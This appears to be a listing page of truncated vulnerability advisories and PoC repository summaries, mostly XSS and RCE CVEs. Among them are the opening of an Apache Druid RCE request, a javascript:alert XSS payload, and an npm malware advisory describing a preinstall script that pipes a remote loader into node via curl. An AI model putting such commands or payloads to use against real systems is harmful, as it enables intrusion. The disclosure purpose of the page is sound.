CVE-2024-50849

CVE-2024-50849: XSS almacenado en WorldServer v11.8.2 Una vulnerabilidad de Cross-Site Scripting XSS almacenado en la funcionalidad "Rules" de WorldServer v11.8.2 permite a un atacante remoto autenticado ejecutar código JavaScript arbitrario. Un usuario autenticado con altos privilegios debe ir a...

Hacking-pdf.js-vulnerability

🚨 CVE-2024-4367: Ejecución arbitraria de JavaScript en PDF.js Este proyecto demuestra y analiza CVE-2024-4367 , una vulnerabilidad de alta gravedad en la biblioteca PDF.js de Mozilla que permite la ejecución arbitraria de JavaScript mediante una verificación de tipos incorrecta en el código de...

Steganography-Online-Codec-JavaScript

Steganography Online Codec SDK for JavaScript & NPM Steganographic Online Codec allows you to hide a password encrypted message within the images & photos using AES encryption algorithm with a 256-bit PBKDF2 derived key. You can use it for free at:...

CVE-2021-25646

Apache Druid RCE title="druid" && title=="Apache Druid" POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: x.x.x.x:8888 Content-Length: 612 Accept: application/json, text/plain, / Origin: http://x.x.x.x:8888 User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko...

CVE-2025-46181-XSS

CVE-2025-46181 - XSS reflejado en un sistema de reserva de citas en línea CVE-ID : CVE-2025-46181 Descubierto por : Shemkumar P shemkumar.github.io Tipo de vulnerabilidad : Cross-Site Scripting XSS reflejado Severidad : Media Estado : Divulgado, CVE asignado por MITRE ✨ Descripción Existe una...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397-Js2Py-RCE Descripción Este repositorio contiene una Prueba de Concepto PoC basada en Python para CVE-2024-28397, una vulnerabilidad de escape de sandbox en el intérprete de JavaScript Js2Py para Python. Cuando la aplicación objetivo evalúa código JS no confiable mediante Js2Py, un...

CVE-2023-46948

CVE-2023-46948 - Reflected XSS in Temenos T24 R19.40 A reflected Cross-Site Scripting XSS vulnerability was found on Temenos T24 Browser R19.40 that enables a remote attacker to execute arbitrary JavaScript code in an authenticated victim browser-based web console. Affected Product: Temenos T24 -...

CVE-2020-13965

CVE-2020-13965: Cross-Site Scripting a través de un adjunto XML malicioso en Roundcube Webmail Existe una vulnerabilidad de Cross-Site Scripting XSS en las versiones de Roundcube anteriores a la 1.4.5 y 1.3.12. Aprovechando el análisis de los adjuntos "text/xml", un atacante puede omitir el filtr...

CSZ-CMS-Stored-XSS---Site-Settings

CSZ CMS XSS Almacenado v1.3.0 Autor: Sergio Descripción: La vulnerabilidad de Cross Site Scripting en CSZCMS v.1.3.0 permite a un atacante local ejecutar código arbitrario a través de un script manipulado en el parámetro Additional Meta Tag del Menú de Configuración del Sitio. Vectores de Ataque:...

CVE-2023-24278

CVE-2023-24278 - Vulnerabilidades XSS reflejadas en Squidex Resumen ID CVE: CVE-2023-24278 Productos afectados: Versiones de Squidex anteriores a la 7.4.0 Reportado por: Ioannis Christodoulakos Este repositorio proporciona información y un exploit para dos vulnerabilidades de Cross-Site Scripting...

Malicious code in @angularr/router (npm)

@angularr/[email protected] impersonates router it copies the code and metadata of the pillarjs router package and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

PoC_CVE-2024-28157

CVE-2024-28157 - Stored XSS in Jenkins GitBucket Plugin GitBucket URL: javascript:alert77 3. Save, then visit the project page 4. Alert fires with 49 77 Screenshots are in poc/screenshots/ References NVD https://nvd.nist.gov/vuln/detail/CVE-2024-28157...

CVE-2025-56795

CVE-2025-56795 Descripción Se identificaron dos vulnerabilidades de Cross-Site Scripting XSS almacenado en la funcionalidad de creación de recetas de Mealie , afectando a todas las versiones hasta la 3.0.1 inclusive. La entrada de usuario no saneada proporcionada durante la creación de recetas se...

CVE-2025-60374

CVE-2025-60374 CVE-2025-60374: Cross-Site Scripting XSS Almacenado en el Chatbot de Perfex CRM ⚠️ Aviso de seguridad Una vulnerabilidad crítica de Cross-Site Scripting Almacenado en la función de chatbot de Perfex CRM 📋 Resumen Una vulnerabilidad de cross-site scripting XSS almacenado en el...

detect-cve-2024-4367

Detectar CVE-2024-4367 Regla de detección YARA rápida y sencilla para la ejecución arbitraria de JavaScript en PDF.js CVE-2024-4367. Uso $ yara explpdfjscve20244367.yar pocgeneralizedCVE-2024-4367.pdf EXPLPDFJSCVE20244367 pocgeneralizedCVE-2024-4367.pdf Créditos POC y divulgación de...

CVE-2026-105090

Formbricks before 5.4.4 and 6 before 6.0.1 allows stored XSS. The survey-level Custom Head Scripts feature did not enforce the documented Manage permission boundary. A workspace member holding only readWrite permission could configure Custom Head Scripts on a survey, an operation the documentatio...

Adobe Coldfusion - Cross-Site Scripting

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by a reflected Cross-Site Scripting XSS vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within th...

EUVD-2026-91874

Formbricks before 5.4.4 and 6 before 6.0.1 allows stored XSS. The survey-level Custom Head Scripts feature did not enforce the documented Manage permission boundary. A workspace member holding only readWrite permission could configure Custom Head Scripts on a survey, an operation the documentatio...

CVE-2026-105090

Formbricks before 5.4.4 and 6 before 6.0.1 allows stored XSS. The survey-level Custom Head Scripts feature did not enforce the documented Manage permission boundary. A workspace member holding only readWrite permission could configure Custom Head Scripts on a survey, an operation the documentatio...

PT-2026-104575

Name of the Vulnerable Software and Affected Versions OpenAM versions prior to 16.1.3 Description An issue exists where unauthenticated attackers can perform reflected cross-site scripting XSS by providing crafted parameters that are rendered without proper encoding on the OAuth2 authorization...